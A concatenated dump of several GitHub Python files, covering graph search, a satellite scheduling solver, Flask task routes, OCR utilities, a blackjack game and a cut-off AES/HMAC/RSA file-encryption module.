DepthFirstLimited\r\nfrom mostra_caminho import MostraCaminho\r\n\r\n\r\nclass IterativeDeepeningSearch:\r\n\r\n def __init__(self, grafo, start, goalNode):\r\n self.grafo = grafo\r\n self.start = start\r\n self.goalNode = goalNode\r\n self.mostraCaminho = MostraCaminho()\r\n self.dfl = DepthFirstLimited(self.grafo, self.start, self.goalNode)\r\n self.limit = self.dfl.limit\r\n\r\n def iniciarBusca(self):\r\n self.iterative_search()\r\n self.dfl.clear()\r\n\r\n def iterative_search(self):\r\n if self.busca(self.start):\r\n self.mostraCaminho.mostra_caminho(self.start, self.goalNode, self.dfl.caminho)\r\n else:\r\n print('Não encontrado')\r\n\r\n def busca(self, start):\r\n for i in range(self.limit):\r\n if self.dfl.busca(start):\r\n return True\r\n return False\r\n\r\n\r\n\"\"\"from create_grafo import Grafo\r\ncreate = Grafo()\r\nIterativeDeepeningSearch(create.criaGrafo(), \"Arad\", \"Bucharest\").iniciarBusca()\"\"\"","repo_name":"mariotinelli/UENP","sub_path":"Inteligencia_Artificial/trabalho_inteligencia_artificial/depth_first_iterative.py","file_name":"depth_first_iterative.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38064892317","text":"from collections import deque\n\nisPrime = [False, False]+[True for _ in range(9998)]\n\nfor i in range(2, 101):\n if isPrime[i]:\n for j in range(i*2, 10000, i):\n isPrime[j] = False\n\n\nT = int(input())\n\nfor _ in range(T):\n a, b = map(int, input().split())\n if a == b:\n print(0)\n continue\n prime = {v: -1 for v in range(1000, 10000) if isPrime[v]}\n prime[a] = 0\n q = deque([a])\n find = False\n while not find:\n if not q:\n break\n tmp = q.popleft()\n cnt = prime[tmp]\n for i in range(4):\n strTmp = str(tmp)\n strTmp = int(strTmp[:i]+'0'+strTmp[i+1:])\n for j in range(10):\n x = strTmp + j*10**(3-i)\n if prime.get(x) == -1:\n if x == b:\n print(cnt+1)\n find = True\n break\n prime[x] = cnt+1\n q.append(x)\n if find:\n break\n if not find:\n print(\"Impossible\")\n","repo_name":"shg9411/algo","sub_path":"algo_py/boj/bj1963.py","file_name":"bj1963.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"30133836202","text":"## Get all tasks of current user\nfrom pickle import TRUE\nfrom urllib import response\nfrom sqlalchemy import desc\nfrom app.forms.task_form import TaskForm\nfrom ..models.models import db, Workspace, Project, Task\nfrom ..models import User\nfrom ..models import db\nfrom flask import Blueprint, request, redirect\nfrom flask_login import login_required, current_user\nfrom ..utils import sql_date_to_date_obj\nfrom .auth_routes import validation_errors_to_error_messages\n\nfrom datetime import datetime\n\n\ntask_routes = Blueprint('task', __name__, url_prefix='/api/tasks')\n\n@task_routes.route('')\ndef get_all_tasks():\n user_id = current_user.id\n tasks = Task.query.filter(Task.user_id==user_id)\n response = {task.id:task.to_dict() for task in tasks}\n return response\n\n#get details of a task by id\n@task_routes.route('/')\ndef get_task_by_id(taskId):\n tasks = Task.query.get(taskId)\n return tasks.to_dict()\n\n@task_routes.route('/', methods=['PUT'])\n@login_required\ndef edit_task(id):\n task = Task.query.get(id)\n if task is None:\n return {\"message\":\"Task couldn't be found\", \"statusCode\":404}\n\n form = TaskForm()\n form['csrf_token'].data = request.cookies['csrf_token']\n\n if form.validate_on_submit():\n data = form.data\n\n task.user_id = data[\"userId\"]\n task.project_id=data['projectId']\n task.name=data['name']\n task.due_date=data['dueDate']\n task.description=data['description']\n task.complete=data['complete']\n\n db.session.commit()\n return task.to_dict()\n\n return {\"errors\": validation_errors_to_error_messages(form.errors)}, 401\n\n@task_routes.route('/', methods=['DELETE'])\n@login_required\ndef delete_task(id):\n task = Task.query.get(id)\n if task is None:\n return {\"message\":\"Task couldn't be found\", \"statusCode\":404}\n\n db.session.delete(task)\n db.session.commit()\n return {\n \"message\": \"Successfully deleted\",\n \"statusCode\": 200\n }\n","repo_name":"jrchew15/nah-sana","sub_path":"app/api/task_routes.py","file_name":"task_routes.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"9936611488","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nfrom time import time\n# from time import sleep\nfrom copy import deepcopy\nfrom itertools import combinations\nfrom operator import itemgetter\nfrom .task import Task\nfrom .satellite import Satellite\nfrom .exception import DeadBranchException\nfrom .exception import InvalidSolutionException\n'''\nClass BnB\n'''\nclass BnB:\n\tdef __init__(self):\n\t\tself.timer = 0\n\t\tself.done = []\n\t\tself.solutions = []\n\t\tself.solution_best = {'tasks': [], 'quality': 0}\n\n\tdef cost(self,task,satellite):\n\t\ttask_type = 0\n\t\treturn 3 * satellite.get('observe_time') + 2 * satellite.get('memory_use') + satellite.get('energy_use') - task.get('priority')\n\n\t''' Adds correct solution '''\n\tdef add_solution(self,scheduled_tasks):\n\t\tsolution = {'tasks': scheduled_tasks, 'quality': 0}\n\t\tfor task in scheduled_tasks:\n\t\t\tsolution['quality'] += task.get('priority') if task.get('assigned_to') else 0\n\t\tif solution.get('quality') > self.solution_best.get('quality'):\n\t\t\tself.solution_best = solution\n\t\t# self.solutions.append(solution)\n\n\t'''\n\tRuns branch and bound procedure\n\t'''\n\tdef run(self,tasks,satellites,max_solutions=50):\n\t\tself.timer = 0\n\t\tself.done = []\n\t\tself.solutions = []\n\t\ttasks = sorted(tasks, key=itemgetter('w_start', 'w_end'))\n\t\ttimer = time()\n\t\tself.branch([],tasks,satellites)\n\t\t# self.solutions = sorted(self.solutions, key=itemgetter('quality'))\n\t\tself.solutions = [self.solution_best]\n\t\tself.timer = time() - timer\n\t\tif max_solutions > 0:\n\t\t\tstart_index = len(self.solutions) - max_solutions\n\t\t\treturn self.solutions[start_index:]\n\t\treturn self.solutions\n\t\t\n\t''' Branches '''\n\tdef branch(self,done_,rest_,satellites):\n\t\tif len(rest_) < 1:\n\t\t\tself.add_solution(done_)\n\t\t\treturn self.done\n\t\telse:\n\t\t\t# analyze Task\n\t\t\trest = deepcopy(rest_)\n\t\t\ttask_ = rest.pop(0)\n\t\t\tassignments = self.sat_combinations(task_,satellites)\n\t\t\tfor assign in assignments:\n\t\t\t\t# print(self.sats_name(assign))\n\t\t\t\tdone = deepcopy(done_)\n\t\t\t\ttask = deepcopy(task_)\n\t\t\t\ttry:\n\t\t\t\t\tself.bound(task,assign,rest)\n\t\t\t\t\tcopy = []\n\t\t\t\t\tfor Sat in satellites:\n\t\t\t\t\t\tif Sat in assign:\n\t\t\t\t\t\t\tSat = deepcopy(Sat)\n\t\t\t\t\t\t\tstart = self.execute_window_start(Sat,task)\n\t\t\t\t\t\t\tend = start+self.get_action_time(Sat,task)\n\t\t\t\t\t\t\tself.set_busy(Sat,start,end)\n\t\t\t\t\t\t\tself.assign(task,Sat,start,end)\n\t\t\t\t\t\t\tself.propagate_action(task,Sat,start,end)\n\t\t\t\t\t\tcopy.append(Sat)\n\t\t\t\t\tdone.append(task)\n\t\t\t\t\tself.branch(done,rest,copy)\n\t\t\t\texcept DeadBranchException as e:\n\t\t\t\t\t# dead branch, last node, return what was done\n\t\t\t\t\tif self.is_valid_solution(task,rest):\n\t\t\t\t\t\tself.add_solution(done)\n\t\t\t\texcept InvalidSolutionException as e:\n\t\t\t\t\tpass\n\n\n\t''' Bounds a branch '''\n\tdef bound(self,task,assignment,rest):\n\t\t# execute action at max|min orbits bounds (cardinality)\n\t\t# assigned_cnt = len(assignment)\n\t\t# cardinality_max = task.get('cardinality_max')\n\t\t# if task.get('task_type') == 'O':\n\t\t# \tif assigned_cnt > cardinality_max:\n\t\t# \t\traise DeadBranchException(\"Dead, must be done in max {max} orbits\".format(max=cardinality_max), task, assignment)\n\t\t# visibility bounds, non-concurrent actions bounds\n\t\tfor sat in assignment:\n\t\t\tname = sat.get('sat_name')\n\t\t\t# memory\n\t\t\tif not self.has_memory_to(task,sat):\n\t\t\t\traise DeadBranchException(\"Dead, no memory at \"+name, task, assignment)\n\t\t\tif not self.is_visible_at(task,sat):\n\t\t\t\traise DeadBranchException(\"Dead, not visible at \"+name, task, assignment)\n\t\t# if uplink - at all visible orbits\n\t\t# if task.get('task_type') == 'U':\n\t\t# \tif len(task.get('visible_at')) != assigned_cnt:\n\t\t# \t\tid_ = str(task.get('task_id'))\n\t\t# \t\traise InvalidSolutionException(\"Uplink \"+ id_ + \" should use all visible orbits\")\n\n\t''' Returns true when given state is a valid solution '''\n\tdef is_valid_solution(self,curr_task,rest):\n\t\tfor task in rest:\n\t\t\tif task.get('task_type') == 'U':\n\t\t\t\tif len(task.get('visible_at')) > 0:\n\t\t\t\t\treturn False\n\t\t\telif task.get('cardinality_min') > 0:\n\t\t\t\treturn False\n\n\t\tif len(curr_task.get('assigned_to')) < curr_task.get('cardinality_min'):\n\t\t\treturn False\n\t\tif curr_task.get('task_type') == 'U':\n\t\t\t\tif len(curr_task.get('visible_at')) > 0:\n\t\t\t\t\treturn False\n\t\treturn True\n\n\t'''\n\tGenerates satellite assignments combinations\n\treturns tuples list: [\n\t\t()\n\t\t('A')\n\t\t('B')\n\t\t('A','B')\n\t\t...\n\t]\n\t'''\n\tdef sat_combinations(self,task,satellites):\n\t\torbits_cnt = len(satellites)\n\t\tcardinality_max = task.get('cardinality_max')\n\t\tassign_cnt_max = orbits_cnt\n\t\t# emergencies\n\t\tassign_cnt_min = task.get('cardinality_min')\n\t\tif task.get('task_type') == 'U':\n\t\t\tassign_cnt_min = len(task.get('visible_at'))\n\t\t\tassign_cnt_max = len(task.get('visible_at'))\n\t\telif task.get('task_type') == 'O':\n\t\t\tassign_cnt_max = 1\n\t\t\n\t\tresult = []\n\t\t# generate combinations of 0,1,2... satellites, according to cardinality\n\t\tfor x in range(assign_cnt_min,assign_cnt_max+1):\n\t\t\tc = list(combinations(satellites, x))\n\t\t\tfor x in c:\n\t\t\t\tresult.append(x)\n\t\treturn result\n\n\t''' Assigns satellite to given task with execute window '''\n\tdef assign(self,task,Sat,start,end):\n\t\torbit = Sat.get('orbit')\n\t\ttask['assigned_to'].append([orbit,start,end-1])\n\t\treturn task\n\n\t''' Applies executing of given task on given state '''\n\tdef propagate_action(self,task,sat,start,end):\n\t\tt_type = task.get('task_type')\n\t\tif t_type == 'O':\n\t\t\tself.increment_observed(sat)\n\t\telif t_type == 'D':\n\t\t\tsat['observed'] = 0\n\t\telif t_type == 'U':\n\t\t\tpass\n\t\tsat['energy'] = self.sat_energy_at(sat,start)\n\t\tsat['executed'] = sat.get('executed') + 1\n\n\t''' Tests whether satellite at orbit on given state has memory amount to perform observe action '''\n\tdef has_more_memory(self,sat):\n\t\treturn sat.get('observed') < sat.get('can_observe')\n\n\t''' Tests whether satellite at orbit on given state has energy amount to perform action '''\n\tdef has_more_energy(self,sat,time):\n\t\tenergy_state_at = self.sat_energy_at(sat,time)\n\t\treturn energy_state_at >= sat.get('energy_use')\n\n\t''' Energy calculate formula '''\n\tdef sat_energy_at(self,sat,time):\n\t\treturn sat.get('energy_storage') + time * sat.get('energy_gen') - (sat.get('executed') * sat.get('energy_use'))\n\n\t''' Increments orbit's observed counter '''\n\tdef increment_observed(self,sat):\n\t\tsat['observed'] = sat.get('observed') + 1\n\n\t''' Returns True when given task is visible for a given orbit's satellite '''\n\tdef is_visible_at(self,task,sat):\n\t\treturn sat.get('orbit') in task.get('visible_at')\n\n\t''' Returns True when task has any assignments '''\n\tdef is_assigned(self,task):\n\t\treturn len(task.get('assigned_to')) > 0\n\n\t''' Returns task's assignments '''\n\tdef get_assigned_to(self,task):\n\t\treturn task.get('assigned_to');\n\n\t''' Gets given orbit's satellite's execute time for given task '''\n\tdef get_action_time(self,Sat,task):\n\t\tif task.get('task_type') == 'O':\n\t\t\treturn Sat.get('observe_time')\n\t\telif task.get('task_type') == 'D':\n\t\t\treturn Sat.get('downlink_time')\n\t\telif task.get('task_type') == 'U':\n\t\t\treturn Sat.get('uplink_time')\n\t\traise ValueException(\"Bad task type\")\n\n\t''' Sets orbit's satellite busy state '''\n\tdef set_busy(self,sat,from_,to):\n\t\t#todo zmienic na hashmap optimise\n\t\tsat['busy'] += range(from_, to)\n\n\t''' Returns true when given satellite is busy at given state and time '''\n\tdef is_busy_at(self,Sat,time):\n\t\treturn (time in Sat.get('busy'))\n\n\t''' Returns true when given satellite is busy during given period at given state '''\n\tdef is_busy_during(self,sat,from_,to):\n\t\tfor x in range(from_,to):\n\t\t\tif x in sat.get('busy'):\n\t\t\t\treturn True\n\t\treturn False\n\n\t''' Wraps memory check function at given state with different input task '''\n\tdef has_memory_to(self,task,satellite):\n\t\tif task.get('task_type') == 'O':\n\t\t\tif not self.has_more_memory(satellite):\n\t\t\t\treturn False\n\t\treturn True\n\n\t''' Picks execute window start value for given orbit and task '''\n\tdef execute_window_start(self,sat,task):\n\t\texecute_duration = self.get_action_time(sat,task)\n\t\tt_window_duration = task.get('w_end') - task.get('w_start')\n\t\tstart = task.get('w_start') - 1\n\n\t\t# can start from window start point to window end minus execute duration\n\t\twhile start <= task.get('w_end') - execute_duration:\n\t\t\tstart += 1\n\t\t\tif self.is_busy_at(sat,start) or not self.has_more_energy(sat,start):\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\t# do not overlap actions, test whether would overlap during:\n\t\t\t\tif self.is_busy_during(sat,start,start+execute_duration):\n\t\t\t\t\tcontinue\n\n\t\t\treturn start\n\t\traise DeadBranchException(\"Dead, no available window for {task} at {orb}\".format(task=task.get('task_id'),orb=sat.get('sat_name')), task, [sat])\n\n\n\t'''DEBUG'''\n\tdef print_node(self,done,rest,satellites):\n\t\tfor task in done:\n\t\t\tassigned = task.get_assigned_to()\n\t\t\tif len(assigned) > 0:\n\t\t\t\tsats = ''\n\t\t\t\tfor sat in assigned:\n\t\t\t\t\tsats += sat.sat_name\n\t\t\t\t\tprint(sat.sat_name + \" \")\n\t\t\telse:\n\t\t\t\tsats = 'not-assigned'\n\n\t\t\tprint(\"done:\")\n\t\t\tprint(\"task \" + task.task_id + \" by \" + sats)\n\n\t\tprint(\"rest:\")\n\t\tfor task in rest:\n\t\t\tprint(\"task \" + task.task_id)\n\n\t\tfor sat in satellites:\n\t\t\tprint(\"Sat \" + sat.sat_name)\n\t\t\tprint(sat.busy)\n\t\tprint()\n\n\tdef print_solution(self,serialized):\n\t\tquality = serialized.get('quality')\n\t\ttasks = serialized.get('tasks')\n\t\tif len(tasks) < 1:\n\t\t\tprint(\"no tasks executed\")\n\t\t\treturn\n\t\tprint(\"scheduled actions:\")\n\t\tq = 0\n\t\tfor task in tasks:\n\t\t\ttid = task.get('task_id')\n\t\t\tassigned_to = task.get('assigned_to')\n\t\t\tq += task.get('priority') if task.get('task_type') == 'O' and len(assigned_to) > 0 else 0\n\t\t\tprint(str(tid) + \" at:\")\n\t\t\tfor assignment in assigned_to:\n\t\t\t\tprint(\"orbit {o} during {start}-{end}\".format(o=assignment[0],start=assignment[1],end=assignment[2]))\n\t\t\t\n\t\tprint(\"quality: {o}\".format(o=q))\n\t\tprint()\n\n\tdef print_solutions(self,solutions):\n\t\tif len(solutions) < 1:\n\t\t\tprint(\"UNSATISFIED - no solutions found\")\n\t\t\treturn\n\t\ts_num = 0\n\t\tfor solution in solutions:\n\t\t\ts_num += 1\n\t\t\tprint(\"answer {n}:\".format(n=s_num))\n\t\t\tself.print_solution(solution)\n\n\tdef sats_name(self,satellites):\n\t\tnames = []\n\t\tfor sat in satellites:\n\t\t\tnames.append(sat.get('sat_name'))\n\t\treturn ', '.join(names)\n","repo_name":"marjag/observation-scheduling","sub_path":"bin/comparing/bnb.py","file_name":"bnb.py","file_ext":"py","file_size_in_byte":9944,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"71056372356","text":"import random\n\nimport numpy as np\nimport torch\nfrom torch.utils.data import DataLoader, Dataset\n\n\nclass Decoder(object):\n def __init__(self, labels: list[str], blank_idx: str) -> None:\n self.label_2_idx = {label: idx for idx, label in enumerate(labels)}\n self.idx_2_label = {idx: label for label, idx in self.label_2_idx.items()}\n self.blank_idx = blank_idx\n\n def decode_batch(\n self,\n batch: tuple[torch.Tensor, torch.Tensor, torch.Tensor, torch.Tensor],\n ) -> tuple[list[str], list[str]]:\n y_pred, y_true = [], []\n for sample in list(zip(*batch)):\n x_decoded, y_decoded = self.decode_sample(sample)\n y_pred.append(x_decoded)\n y_true.append(y_decoded)\n return y_pred, y_true\n\n def decode_sample(\n self,\n sample: tuple[torch.Tensor, torch.Tensor, torch.Tensor, torch.Tensor],\n ) -> tuple[str, str]:\n x, y, x_length, y_length = sample\n x, y = x[:x_length], y[:y_length]\n x = torch.unique_consecutive(x)\n return self.decode_sequence(x), self.decode_sequence(y)\n\n def decode_sequence(self, sequence: torch.Tensor) -> str:\n sequence_symbols = []\n for label_idx in sequence:\n if label_idx.item() == self.blank_idx:\n continue\n label = self.idx_2_label[label_idx.item()]\n sequence_symbols.append(label)\n return ''.join(sequence_symbols)\n\n\ndef get_dataloader(\n dataset: Dataset,\n batch_size: int,\n mode: str,\n num_workers: int,\n) -> DataLoader:\n shuffle, drop_last = True, True\n if mode == 'val':\n shuffle, drop_last = False, False\n\n return DataLoader(\n dataset,\n batch_size=batch_size,\n shuffle=shuffle,\n drop_last=drop_last,\n pin_memory=True,\n num_workers=num_workers,\n )\n\n\n@torch.no_grad()\ndef inference(\n model: torch.nn.Module,\n dataset: Dataset,\n decoder: Decoder,\n device: torch.device,\n) -> tuple[np.ndarray, str, str]:\n model.eval()\n\n sample_idx = random.randint(0, len(dataset) - 1)\n sample = dataset[sample_idx]\n image, label, x_length, y_length = sample\n\n x, y = torch.Tensor(image).unsqueeze(0).to(device), torch.Tensor(label)\n x_length, y_length = torch.LongTensor([x_length]), torch.LongTensor([y_length])\n\n output = torch.nn.functional.log_softmax(model(x), dim=2)\n prediction = output.argmax(dim=2)\n\n y_pred, y_true = decoder.decode_sample(\n (prediction.squeeze(), y, x_length, y_length),\n )\n\n return image.squeeze(), y_pred, y_true\n\n","repo_name":"EgSergeenko/ocr","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28366223811","text":"class SolutionTLE:\n def furthestBuilding(self, heights: List[int], bricks: int, ladders: int) -> int:\n # TLE\n def recursion(heights, curIndex, bricksLeft, laddersLeft):\n while curIndex < (len(heights)-2):\n if heights[curIndex] >= heights[curIndex+1]:\n curIndex += 1\n else:\n break\n # base case (reached end or no more bricks and no more ladders)\n if (curIndex == len(heights)-1) or (bricksLeft == 0 and laddersLeft == 0):\n return curIndex\n \n maxReachableBIndex = curIndex\n maxReachableLIndex = curIndex\n # maxReachableIndex = curIndex\n \n diff = (heights[curIndex+1] - heights[curIndex])\n if bricksLeft >= diff:\n maxReachableBIndex = recursion(heights, curIndex+1, bricksLeft - diff, laddersLeft)\n if laddersLeft > 0:\n maxReachableLIndex = recursion(heights, curIndex+1, bricksLeft, laddersLeft-1)\n return max(maxReachableBIndex, maxReachableLIndex)\n \n return recursion(heights, 0, bricks, ladders)\n \nclass Solution:\n def furthestBuilding(self, heights: List[int], bricks: int, ladders: int) -> int:\n ladder_allocations = [] # We'll use heapq to treat this as a min-heap.\n for i in range(len(heights) - 1):\n climb = heights[i + 1] - heights[i]\n # If this is actually a \"jump down\", skip it.\n if climb <= 0:\n continue\n # Otherwise, allocate a ladder for this climb.\n heapq.heappush(ladder_allocations, climb)\n # If we haven't gone over the number of ladders, nothing else to do.\n if len(ladder_allocations) <= ladders:\n continue\n # Otherwise, we will need to take a climb out of ladder_allocations\n bricks -= heapq.heappop(ladder_allocations)\n # If this caused bricks to go negative, we can't get to i + 1\n if bricks < 0:\n return i\n # If we got to here, this means we had enough to cover every climb.\n return len(heights) - 1","repo_name":"medasuryatej/InterviewPrep","sub_path":"1642-furthest-building-you-can-reach/1642-furthest-building-you-can-reach.py","file_name":"1642-furthest-building-you-can-reach.py","file_ext":"py","file_size_in_byte":2199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10111988598","text":"\"\"\"\r\n Python Blackjack\r\nFor this project you will make a Blackjack game using Python. Click here to familiarize yourself with the the rules of \r\nthe game. You won't be implementing every rule \"down to the letter\" with the game, but we will doing a simpler version \r\nof the game. This assignment will be given to further test your knowledge on object-oriented programming concepts.\r\n\r\nRules:\r\n1. The game will have two players: the Dealer and the Player. \r\nThe game will start off with a deck of 52 cards. \r\nThe 52 cards will consist of 4 different suits: Clubs, Diamonds, Hearts and Spades. \r\nFor each suit, there will be cards numbered 1 through 13.\r\n\r\n\r\n\r\nNote: No wildcards will be used in the program\r\n2. When the game begins, the dealer will shuffle the deck of cards, making them randomized. After the dealer shuffles, \r\nit will deal the player 2 cards and will deal itself 2 cards from. The Player should be able to see both of their own \r\ncards, but should only be able to see one of the Dealer's cards.\r\n3. The objective of the game is for the Player to count their cards after they're dealt. If they're not satisfied with \r\nthe number, they have the ability to 'Hit'. A hit allows the dealer to deal the Player one additional card. The Player \r\ncan hit as many times as they'd like as long as they don't 'Bust'. A bust is when the Player is dealt cards that total \r\nmore than 21.\r\n4. If the dealer deals the Player cards equal to 21 on the first deal, the Player wins. This is referred to as Blackjack. \r\nBlackjack is NOT the same as getting cards that equal up to 21 after the first deal. Blackjack can only be attained on \r\nthe first deal.\r\n5. The Player will never see the Dealer's hand until the Player chooses to 'stand'. A Stand is when the player tells the \r\ndealer to not deal it anymore cards. Once the player chooses to Stand, the Player and the Dealer will compare their hands. \r\nWhoever has the higher number wins. Keep in mind that the Dealer can also bust.\r\n\r\n\r\nThis will be an exercise of how well you understand OOP(Object Oriented Programming). In this project, you will be using \r\n\"Pair-Programming\" to complete the assignment.\r\n\"\"\"\r\n\r\nfrom random import randint\r\n\r\nclass blackJack():\r\n def __init__(self):\r\n suit = ['Hearts', 'Spades', 'Clubs', 'Diamonds']\r\n self.deck = []\r\n for s in range(4):\r\n for num in range(1, 14):\r\n self.deck.append(f\"{num} of {suit[s]}\")\r\n self.dealt = {}\r\n self.p_hand = []\r\n self.d_hand = []\r\n\r\n # ***Process Breakdown***\r\n # Press any key to start, Q to quit\r\n def menu(self):\r\n \"\"\"\r\n Starts the game\r\n \"\"\"\r\n print(\"\"\"Welcome to 'Lets Play Some Blackjack!\r\n Press any key to play!\r\n Press 'q' to quit!\"\"\")\r\n ui = input(\"> \")\r\n\r\n if ui.lower() == 'q':\r\n quit()\r\n else:\r\n self.game()\r\n\r\n def game(self):\r\n \"\"\"\r\n Initiates game and contains all the options for the player to make\r\n \"\"\"\r\n # Player is dealt a card \r\n self.deal(self.p_hand)\r\n # Dealer is dealt a card\r\n self.deal(self.d_hand)\r\n # repeat so 4 cards are dealt\r\n self.deal(self.p_hand)\r\n self.deal(self.d_hand)\r\n\r\n while True:\r\n print(f\"\\n\\nYour hand: {self.total(self.p_hand)}\")\r\n for item in self.p_hand:\r\n print(f\"{item}\")\r\n\r\n # Player can see the first card Dealer is dealt\r\n print(\"\\n\\nDealer's hand:\")\r\n print(f\"{self.d_hand[0]}\")\r\n print(\"■■■■■■■■\\n\")\r\n\r\n # If the 1st 2 cards in Players hand == 21 then Player wins\r\n # If the cards in Player hand > 21 then Player loses\r\n card_check = self.card_check(self.p_hand)\r\n if card_check == 'busted':\r\n print(\"You're busted! Better luck next time!\")\r\n quit()\r\n elif card_check == 'blackjack':\r\n print(\"You got exactly 21! nice job!\")\r\n quit()\r\n\r\n\r\n action = input(\"\"\"\r\n [H] hit\r\n [S] stand\r\n [Q] quit\r\n\r\n >>> \"\"\")\r\n\r\n # Player chooses to Hit or Stand\r\n try:\r\n action.lower()[0]\r\n except:\r\n continue\r\n if action.lower()[0] == 'h':\r\n self.deal(self.p_hand)\r\n elif action.lower()[0] == 's':\r\n # Once Player chooses Stand both hands are shown to Player with totals.\r\n self.noMoreCards()\r\n elif action.lower()[0] == 'q':\r\n print(\"So long.\")\r\n quit()\r\n else:\r\n continue\r\n \r\n def deal(self, hand):\r\n \"\"\"\r\n Pull a random card from the deck and give it to the corresponding hand.\r\n Remove that card from the deck.\r\n \"\"\"\r\n card = randint(0, len(self.deck)-1)\r\n hand.append(self.deck[card])\r\n self.deck.remove(hand[-1])\r\n\r\n def total(self, hand):\r\n \"\"\"\r\n Returns the total of all face value cards in a hand\r\n \"\"\"\r\n total = 0\r\n for item in hand:\r\n total += int(item.split()[0])\r\n return total\r\n\r\n def card_check(self, hand):\r\n \"\"\"\r\n If the 1st 2 cards in Players hand == 21 then Player wins\r\n If the cards in Player hand > 21 then Player loses\r\n \"\"\"\r\n if self.total(hand) > 21:\r\n return \"busted\"\r\n elif self.total(hand) == 21:\r\n return \"blackjack\"\r\n else:\r\n return self.total(hand)\r\n\r\n def noMoreCards(self):\r\n \"\"\"\r\n Once the player has chosen to 'stand' this function calculates the winner\r\n \"\"\"\r\n player = self.card_check(self.p_hand)\r\n dealer = self.card_check(self.d_hand)\r\n \r\n #* TEST CODE\r\n print(f\"Player: {player}\")\r\n print(f\"Dealer: {dealer}\")\r\n\r\n if type(player) == int() and type(dealer) == int():\r\n print(f\"Player: {player}\")\r\n print(f\"Dealer: {dealer}\")\r\n\r\n # Winner is declared.\r\n if player == 'blackjack':\r\n print(\"You got 21! Nicely done!\")\r\n quit()\r\n elif dealer == 'blackjack':\r\n print(\"The Dealer got 21! Too bad for you!\")\r\n quit()\r\n elif player == 'busted':\r\n print(\"You went over 21! You lose! Sorry!\")\r\n quit()\r\n elif dealer == 'busted':\r\n print(\"The Dealer busted! Ouch! Well, you win!\")\r\n quit()\r\n elif player > dealer:\r\n print(\"You got closer to 21! You win!\")\r\n quit()\r\n elif dealer > player:\r\n print(\"The Dealer got closer to 21 than you did! They win!\")\r\n quit()\r\n else:\r\n print(\"You aren't supposed to see this!\")\r\n\r\ns = blackJack()\r\ns.menu()","repo_name":"VictorGavo/CT-3.5-2","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36937152925","text":"\n\nimport os\nimport base64\nimport cryptography\nimport json\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import padding, serialization, hashes, hmac\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nimport cryptography.hazmat.primitives.asymmetric as asymm\n\ndef MyencryptMAC(message, key, HMACKey):\n if(not isinstance(message, bytes)):\n m = bytes(message, \"utf-8\")\n else:\n m = message\n \n padder = padding.PKCS7(128).padder()\n m = padder.update(m) + padder.finalize()\n\n if(len(key) < 32):\n print(\"The key size is too small!!\")\n else:\n iv = os.urandom(16)\n cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())\n\n encryptor = cipher.encryptor()\n ct = encryptor.update(m) + encryptor.finalize()\n \n h = hmac.HMAC(HMACKey, hashes.SHA256(), backend=default_backend())\n h.update(ct)\n tag = h.finalize()\n #iv ciphertext and hashtag\n return iv, ct, tag\n \n\ndef MydecryptMAC(C, iv, key, hKey, tag):\n backend = default_backend()\n cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=backend)\n decryptor = cipher.decryptor()\n m = decryptor.update(C) + decryptor.finalize()\n \n try:\n h = hmac.HMAC(hKey, hashes.SHA256(), backend=default_backend())\n h.update(C)\n h.verify(tag)\n unpadder = padding.PKCS7(128).unpadder()\n mData = unpadder.update(m)\n mData += unpadder.finalize()\n return mData.decode(\"utf-8\")\n except cryptography.exceptions.InvalidSignature:\n print(\"Signature does not match\")\n \n return m.decode(\"utf-8\")\n\n\ndef MyfileEncryptMAC(filePath):\n # getting the path of the image\n imgKey = os.urandom(32)\n path = filePath\n # getting the extension for the img\n filePath, ext = os.path.splitext(path) \n # converts the image to a string\n with open(path, \"rb\") as file:\n imgStr = base64.b64encode(file.read()) # string is in bytes\n\n # encrypting image string\n HMACKey = os.urandom(32)\n iv, c, tag = MyencryptMAC(imgStr, imgKey, HMACKey)\n\n # converts an encrypted img string into an image\n \"\"\"\n encFile = filePath# + ext\n with open(encFile, 'wb') as file:\n file.write(c)\n file.close()\n \"\"\"\n return c, iv, imgKey, ext, HMACKey, tag\n \n\ndef MyfileDecryptMAC(C, IV, key, fileName, ext, hKey, tag):\n unEncFile = fileName + ext\n # decrypts the image string from the encrypted image\n dImgStr = MydecryptMAC(C, IV, key, hKey, tag)\n #converts decrypted image str into an image\n imageData = base64.b64decode(dImgStr)\n with open(unEncFile, 'wb') as file:\n file.write(imageData)\n file.close()\n\n\n\ndef MyRSAEncrypt(filepath, RSA_Publickey_filepath):\n #encrypt file to get the key\n C, IV, key, ext, hKey, tag = MyfileEncryptMAC(filepath)\n \n #load the public key\n with open(RSA_Publickey_filepath, \"rb\") as key_file:\n public_key = serialization.load_pem_public_key(\n key_file.read(),\n backend=default_backend()\n )\n #encrypt the key to get RSACipher\n RSACipher = public_key.encrypt(\n key + hKey, \n asymm.padding.OAEP(\n mgf=asymm.padding.MGF1(algorithm=hashes.SHA256()),\n algorithm=hashes.SHA256(),\n label=None \n )\n )\n \n return RSACipher, C, IV, ext, tag\n \n \ndef MyRSADecrypt(RSACipher, C, IV, filepath, ext, RSA_Privatekey_filepath, tag):\n #load private key\n with open(RSA_Privatekey_filepath, \"rb\") as key_file:\n private_key = serialization.load_pem_private_key(\n key_file.read(),\n password=None,\n 